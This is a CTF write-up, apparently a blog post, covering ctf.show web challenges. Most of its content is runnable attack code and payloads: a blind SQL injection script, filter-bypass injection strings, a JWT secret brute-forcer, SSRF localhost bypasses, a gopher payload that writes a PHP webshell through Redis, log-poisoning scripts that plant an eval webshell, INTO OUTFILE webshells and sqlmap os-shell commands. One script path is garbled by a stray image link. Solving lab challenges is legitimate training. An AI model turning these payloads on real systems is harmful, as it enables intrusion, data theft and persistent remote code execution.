url = "http://0a65f5fb-d3b5-40b3-9935-94dd73aa1f59.challenge.ctf.show:8080/select-no-waf-5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)



web176

解法一:
万能密码1' or 1=1--+然后最后一行发现了flag

解法二:

1' uNion sElect 1,2,password from ctfshow_user --+

web177


空格过滤了/**/绕过

-1'/**/union/**/select/**/1,concat(password),3/**/from/**/ctfshow_user/**/%23

web178


/**/也过滤了,可以用%0a或者%09

-1'%0aunion%0aselect%0a1,concat(password),3%0afrom%0actfshow_user%0a%23
-1'%09union%09select%091,2,password%09from%09ctfshow_user%23

解法二:

id=1'or'1'='1'%23

web179

过滤了之前的%0a %09,选择%0c

1'%0cunion%0cselect%0c1,concat(password),3%0cfrom%0cctfshow_user%23

web180


前面的题目中id=26时是flag用户,可以先用1’闭合前面的单引号,然后用or(id=26)查询,最后用and’1’='1闭合后面的单引号,查询后是id=1的用户,可以让id=-1,这样前面的用户不存在,爆出后面id=26的用户

-1'or(id=26)and'1'='1

web181

在这里插入图片描述

web182

在这里插入图片描述

web187

在这里插入图片描述考察的是md5(string,true)的绕过,要想成功登录,要使密码转换成16进制的hex后包含’or ‘6’,符合的两个字符串有ffifdyop和129581926211651571912466741651878684928
用户名填写admin密码为ffifdyop
然后抓包即可。

web188

select * from users where username=0;

上面这句话会把表中所有的记录全部查询出来
在这里插入图片描述最后的比较是==弱比较,会自动把字符串转换为0,0=0恒成立。

web189

web199-200

可以用堆叠注入,查询表名,让password的值为ctfshow_user,这样两者就相等
在这里插入图片描述

username=0;show tables;
pass=ctfshow_user

----------JWT----------

web345

查看源码
在这里插入图片描述
辨析一下区别:
在这里插入图片描述
访问/admin/ 看到这些 然后清除这些
在这里插入图片描述
再访问原题链接
在这里插入图片描述
将_auth值base64解码得:
在这里插入图片描述
可以看到这里 alg = none 没有加密 ,sub 是jwt所面向的用户,只需要将sub的值改成admin,然后base加密把原来的替换掉就行了
然后访问/admin/
在这里插入图片描述

web 346 347

在这里插入图片描述
这里用了HS256加密,盲猜一波123456,再粘贴过去访问admin
在这里插入图片描述
当然也可以用代码爆破
先生成一个字典
在这里插入图片描述

import jwt
import json


def runblasting(path, jwt_str, alg):
    if alg == "none":
        alg = "HS256"
    with open(path, encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use ' + key_)
            try:
                jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                   jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                   jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")


if __name__ == '__main__':
    runblasting('nums![在这里插入图片描述](https://img-blog.csdnimg.cn/1480a2feb25f4bf7811b752a102a8859.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAX3BhaW5f,size_20,color_FFFFFF,t_70,g_se,x_16)
.txt',
                'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzE5MDgxOSwiZXhwIjoxNjI3MTk4MDE5LCJuYmYiOjE2MjcxOTA4MTksInN1YiI6InVzZXIiLCJqdGkiOiJjMjQ4Y2NhMTdkNGFkOWM3MzRlYjE4ZDJlZTY1MjBlYiJ9.3RorUDLhutsqgkbphdQ92ICeSDzEDXB2XjWofXR0RZk',
                'HS256')

web348

在这里插入图片描述

web349

在这里插入图片描述
在这里插入图片描述

----------SSRF----------

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
url=http://127.0.0.1/flag.php

web352

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}

不能出现localhost和127.0.
进制绕过 url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
句号绕过 url=http://127。0.0.1/flag.php
还有很多 0 ,127.1 ,127.0.1 ,127.0000.0000.1
还可以DNS重绑定

web353

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
url=http://0x7F000001/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

不能出现1和0,可以用sudo.cc,他会被解析成127.0.0.1

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

设置了$host<5的限制,要求长度小于5那直接http://127.1/flag.php就可以了。

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
在这里插入代码片
限制$host<3,
payload:url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}
url必须以http://ctf.开头,必须以show结尾。
以show结尾比较好办,要么#show,要么?a=show这样的都可以。
以http://ctf.开头的话,加上一个@127.0.0.1就可以绕过了,这样parse_url解析出来的host是127.0.0.1,考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。
url=http://ctf.@127.0.0.1/flag.php?show
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}

web359

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
将得到经过url编码的字符再编码一次,然后在check.php页面POST传参
在这里插入图片描述

在这里插入图片描述

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

在这里插入图片描述

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

----------黑盒测试----------

前言

黑盒测试可能用到的字典

xy123
admin888
/install/index.php
/clear.php
/page.php
/alsckdfy/index.php
/debug

web380

在这里插入图片描述

web381

在这里插入图片描述
在这里插入图片描述

web382-383

万能密码
在这里插入图片描述

web384

在这里插入图片描述字典生成

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

在这里插入图片描述几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123

web385

扫描后台得/install
在这里插入图片描述

在这里插入图片描述
重置后密码是admin888,返回去后台登录
在这里插入图片描述

web386

通过扫描后台发现clear.php和install
在这里插入图片描述
在这里插入图片描述
直接把lock.dat删了,lock.dat在linstall下

/clear.php?file=./install/lock.dat

在这里插入图片描述
后面和web385一样

web387

web386思路不行了
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>

在这里插入图片描述

web388

在这里插入图片描述

在这里插入图片描述

或者python脚本发包:

import requests
import base64
url="http://d8a5a26b-5cb5-4abd-b3f5-1d34643d822d.challenge.ctf.show:8080/"
url2="http://d8a5a26b-5cb5-4abd-b3f5-1d34643d822d.challenge.ctf.show:8080/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode() #免杀处理
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)

web389

在这里插入图片描述

在这里插入图片描述
是jwt
在这里插入图片描述
在这里插入图片描述
粘贴到那里,发现可以了
在这里插入图片描述
做题过程中刷新一次auth值就会回去,所以每次都要重置一次。后面做题和web388一样

当然也可以尝试/editor上传木马然后rce
或者

import requests
import base64
url="http://2121da6d-86eb-4dec-81b8-d86bea4e4067.challenge.ctf.show:8080/"
url2="http://2121da6d-86eb-4dec-81b8-d86bea4e4067.challenge.ctf.show:8080/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd),
	'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMzA2NTgxMywiZXhwIjoxNjMzMDczMDEzLCJuYmYiOjE2MzMwNjU4MTMsInN1YiI6ImFkbWluIiwianRpIjoiZTZkNTViNGFiZGU4MmNhNDQ4NTUyY2RjNzEyOWUyNTAifQ.0ZsyP8RHnxzrCnlntcJ-vieBy31ffBDOFm_gjbO_zyU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在这里插入图片描述
明显带注入,尝试拿账号密码
在这里插入图片描述
1 union select 1,(select password from admin_user),3 limit 1,1#在这里插入图片描述
发现登录不了

写文件试试也行不通

1 union select 1,(select username from admin_user),(select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php) limit 1,1#

那就读文件

1%20union%20select%201,(select%20username%20from%20admin_user),(select%20load_file(%20%27/var/www/html/alsckdfy/check.php%27))%20limit%201,1#

在这里插入图片描述
发现没有什么东西,截取一下试试

1 union select 1,2,substr((select load_file( '/var/www/html/alsckdfy/check.php')),1,255) limit 1,1#

得flag
解法二:

python sqlmap.py -u http://f0b9a9a6-d162-4a0d-bad3-040a9e3f9f11.challenge.ctf.show:8080/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch

在这里插入图片描述
运行完会将文件保存在你的本地,直接访问就拿到flag

web391

变成了这样
在这里插入图片描述

1' union select 1,substr((select load_file( '/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1#

或者继续sqlmap:

python sqlmap.py -u http://21a89126-c3af-4da8-b570-1a74dce31f66.challenge.ctf.show:8080/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

盲猜在/flag

aa' union select 1,substr((select load_file( '/flag')),1,255),3 limit 0,1#

或者sqlmap

python sqlmap.py -u http://398a2709-b993-4eac-b46d-635d4ba4b03d.challenge.ctf.show:8080/search.php?title=1 --os-shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

update注入,并利用ssrf来读取本地文件:a';update link set url='file:///flag' where id = 1;#

web393

在这里插入图片描述
查表名查到link
payload:
search.php?title=1’;insert into link values(10,‘a’,‘file:///flag’);(在search.php页面存在堆叠注入)
然后访问link.php?id=10就能得到flag

或者update注入,并利用ssrf来读取本地文件:

a';update link set url='file:///flag' where id = 1;#

web394-395

直接读flag,flag在alsckdfy/check.php中,在上题的基础上过滤了一些字符,但是可以用16进制绕过。

payload:
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870); 16进制为file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10

解法二:
攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:
search.php?title=1’;alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
payload

search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11

就会生成abc.php 密码是1

-----------大赛原题----------

web680

在这里插入图片描述尝试post了 code=phpinfo(); 获取到了相关信息:
1、open_basedir=/var/www/html
2、disabled_functions一大堆
直接var_dump(scandir(’.’));获取到了当前目录文件名,找到了"secret_you_never_know"这个文件
在这里插入图片描述拓展:
如果flag放在根目录,可以用var_dump(scandir(‘glob:///*’));获取到根目录的结构,然后通过symlink()得到文件内容,直接访问http://url/exp获取文件。p神博客

终极考核

https://www.yun0tian.top/2022/01/03/CTFSHOW%E7%BB%88%E6%9E%81%E8%80%83%E6%A0%B8/

https://blog.csdn.net/miuzzx/article/details/121611665?spm=1001.2014.3001.5501

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐